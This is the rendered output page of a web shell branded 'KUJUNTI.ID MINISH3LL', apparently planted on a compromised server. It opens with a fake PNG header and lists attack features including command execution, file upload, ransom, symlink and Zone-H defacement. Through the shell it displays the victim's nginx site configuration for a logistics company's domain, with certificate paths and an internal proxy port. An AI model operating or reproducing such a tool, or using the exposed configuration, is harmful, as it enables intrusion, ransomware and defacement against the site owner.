\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /etc/nginx/sites-enabled/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : //etc/nginx/sites-enabled/bosmartrans.conf


# HTTP isteklerini HTTPS'e yönlendir (www versiyona)
server {
    listen 80;
    server_name bosmartrans.com www.bosmartrans.com;
    return 301 https://www.bosmartrans.com$request_uri;
}

# HTTPS gelen isteklerde bosmartrans.com -> www.bosmartrans.com yönlendir
server {
    listen 443 ssl;
    server_name bosmartrans.com;

    ssl_certificate /etc/letsencrypt/live/bosmartrans.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/bosmartrans.com/privkey.pem;
    include /etc/letsencrypt/options-ssl-nginx.conf;
    ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem;

    return 301 https://www.bosmartrans.com$request_uri;

}

# Asıl www.bosmartrans.com için proxy_pass yapılandırması
server {
    listen 443 ssl;
    server_name www.bosmartrans.com;

    ssl_certificate /etc/letsencrypt/live/bosmartrans.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/bosmartrans.com/privkey.pem;
    include /etc/letsencrypt/options-ssl-nginx.conf;
    ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem;

   # Security headers (optional but recommended)
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    add_header X-Frame-Options           "SAMEORIGIN" always;
    add_header X-Content-Type-Options    "nosniff" always;
    add_header X-XSS-Protection          "1; mode=block" always;
    add_header Referrer-Policy           "strict-origin-when-cross-origin" always;
    add_header Permissions-Policy        "geolocation=(), microphone=(), camera=()" always;
    rewrite ^/request-a-quote/?$ / permanent;

    location = /tr/hakkimizda/ {
    return 301 https://www.bosmartrans.com/about;
}


location = /type/image/feed/ {
    return 301 https://www.bosmartrans.com/;
}

location = /tr/news/bosmar-trans-for-2-konferans-toplantisi-katilimi/ {
    return 301 https://www.bosmartrans.com/;
}

location = /category/afrointroductions-inceleme-visitors/feed/ {
    return 301 https://www.bosmartrans.com/;
}

location = /comments/feed/ {
    return 301 https://www.bosmartrans.com/;
}

location = /category/afrointroductions-inceleme-visitors/ {
    return 301 https://www.bosmartrans.com/;
}

location = /services/ {
    return 301 https://www.bosmartrans.com/;
}

location = /tr/ana-sayfa/ {
    return 301 https://www.bosmartrans.com/;
}

location = /about-us/ {
    return 301 https://www.bosmartrans.com/;
}

location = /tr/servis-detaylari/ {
    return 301 https://www.bosmartrans.com/;
}

location = /all_services/ground-railway-shipping/ {
    return 301 https://www.bosmartrans.com/;
}

location = /news/we-have-started-to-open-new-consol-boxes-to-middle-east-destinations-with-minimum-cost/ {
    return 301 https://www.bosmartrans.com/;
}

location = /tr/all_services/hava-kargo/ {
    return 301 https://www.bosmartrans.com/;
}

location = /news/bosmar-trans-team-attended-hosted-for-3rd-conference-event-in-antalya/ {
    return 301 https://www.bosmartrans.com/;
}

location = /tr/news/bosmar-trans-30-yil-etkinligi/ {
    return 301 https://www.bosmartrans.com/news/1;
}


    location / {
        proxy_pass http://127.0.0.1:7778;
        proxy_set_header Host              $host;
        proxy_set_header X-Real-IP         $remote_addr;
        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}


© KUJUNTI.ID